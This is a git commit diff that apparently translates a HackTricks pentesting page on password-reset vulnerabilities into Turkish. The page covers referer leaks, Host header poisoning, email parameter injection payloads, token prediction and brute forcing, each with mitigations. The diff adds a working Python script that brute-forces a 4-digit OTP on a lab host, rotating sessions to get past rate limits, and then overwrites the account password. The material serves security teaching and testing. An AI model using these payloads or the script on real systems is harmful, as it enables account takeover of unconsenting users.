mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to tr
This commit is contained in:
parent
deb7f973cc
commit
ebe5a61b4f
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
||||||
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
||||||
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir.
|
- **Sömürü**: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
|
||||||
- **Referanslar**:
|
- **Referanslar**:
|
||||||
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
||||||
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
||||||
@ -15,19 +15,19 @@
|
|||||||
## **Şifre Sıfırlama Zehirleme**
|
## **Şifre Sıfırlama Zehirleme**
|
||||||
|
|
||||||
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
||||||
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar.
|
- **Etkisi**: Sıfırlama tokenlerinin saldırganlara sızdırılması yoluyla potansiyel hesap ele geçirme.
|
||||||
- **Hafifletme Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
||||||
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
||||||
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
||||||
- **Referanslar**:
|
- **Referanslar**:
|
||||||
- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
|
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
|
||||||
|
|
||||||
Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
|
Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
|
||||||
|
|
||||||
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin.
|
- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin.
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -39,13 +39,13 @@ POST /resetPassword
|
|||||||
[...]
|
[...]
|
||||||
email=victim@email.com%20email=attacker@email.com
|
email=victim@email.com%20email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin
|
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin.
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com|email=attacker@email.com
|
email=victim@email.com|email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin
|
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin.
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -86,7 +86,7 @@ POST /api/changepass
|
|||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
|
- Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
|
||||||
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
|
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
|
||||||
- **Referans**:
|
- **Referans**:
|
||||||
- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
@ -100,11 +100,11 @@ POST /api/changepass
|
|||||||
- **Referanslar**:
|
- **Referanslar**:
|
||||||
- [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma**
|
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun**
|
||||||
|
|
||||||
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
||||||
- Zaman Damgasına Dayalı
|
- Zaman Damgasına Dayalı
|
||||||
- Kullanıcı Kimliğine Dayalı
|
- Kullanıcı ID'sine Dayalı
|
||||||
- Kullanıcının E-posta Adresine Dayalı
|
- Kullanıcının E-posta Adresine Dayalı
|
||||||
- Ad ve Soyadına Dayalı
|
- Ad ve Soyadına Dayalı
|
||||||
- Doğum Tarihine Dayalı
|
- Doğum Tarihine Dayalı
|
||||||
@ -126,12 +126,12 @@ uuid-insecurities.md
|
|||||||
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
||||||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||||||
|
|
||||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme**
|
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir**
|
||||||
|
|
||||||
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||||||
- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||||||
- **Referans**:
|
- **Referans**:
|
||||||
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
@ -139,32 +139,96 @@ uuid-insecurities.md
|
|||||||
|
|
||||||
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
|
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
- Sıkı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
||||||
|
|
||||||
## **Brute Force Şifre Sıfırlama Token'ı**
|
## **Brute Force Şifre Sıfırlama Token'ı**
|
||||||
|
|
||||||
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma.
|
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
|
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
|
||||||
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
|
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
|
||||||
|
|
||||||
## **Token'ınızı Kullanmayı Deneyin**
|
## **Token'ınızı Kullanmayı Deneyin**
|
||||||
|
|
||||||
- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
|
- Saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
||||||
|
|
||||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||||
|
|
||||||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
|
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
|
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
|
||||||
|
|
||||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||||
|
|
||||||
- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır.
|
- Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır.
|
||||||
- **Azaltma Adımları**:
|
- **Azaltma Adımları**:
|
||||||
- Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
|
- Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
|
||||||
|
|
||||||
|
## **Oturumunuzu Değiştirerek OTP Hız Sınırını Aşma**
|
||||||
|
|
||||||
|
- Web sitesi, yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz.
|
||||||
|
- **istismar**:
|
||||||
|
- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin.
|
||||||
|
- **Örnek** kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle sıralı bir şekilde brute-force yapamayacağız!):
|
||||||
|
|
||||||
|
``` python
|
||||||
|
# Şifre sıfırlama ile kimlik doğrulama atlatma
|
||||||
|
# coderMohammed tarafından
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||||
|
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||||
|
}
|
||||||
|
url = "http://10.10.12.231:1337/reset_password.php"
|
||||||
|
logout = "http://10.10.12.231:1337/logout.php"
|
||||||
|
root = "http://10.10.12.231:1337/"
|
||||||
|
|
||||||
|
parms = dict()
|
||||||
|
ter = 0
|
||||||
|
phpsessid = ""
|
||||||
|
|
||||||
|
print("[+] Saldırı başlatılıyor!")
|
||||||
|
sleep(3)
|
||||||
|
print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı
|
||||||
|
parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler
|
||||||
|
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||||
|
|
||||||
|
if ter == 8: # deneme sayısını takip et
|
||||||
|
out = requests.get(logout,headers=headers) # çıkış yap
|
||||||
|
mainp = requests.get(root) # başka bir phpssid (token) alır
|
||||||
|
|
||||||
|
cookies = out.cookies # oturum kimliğini çıkar
|
||||||
|
phpsessid = cookies.get('PHPSESSID')
|
||||||
|
headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle
|
||||||
|
|
||||||
|
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir
|
||||||
|
ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla
|
||||||
|
else:
|
||||||
|
ter += 1
|
||||||
|
if(len(res.text) == 2292): # kurtarma kodunu doğru aldığınızda sayfanın uzunluğu (test ile elde edildi)
|
||||||
|
print(len(res.text)) # hata ayıklama bilgisi
|
||||||
|
print(phpsessid)
|
||||||
|
|
||||||
|
reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz
|
||||||
|
"new_password": "D37djkamd!",
|
||||||
|
"confirm_password": "D37djkamd!"
|
||||||
|
}
|
||||||
|
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||||
|
|
||||||
|
print("[+] Şifre şu şekilde değiştirildi:D37djkamd!")
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
print("[+] Saldırı durduruldu")
|
||||||
|
```
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user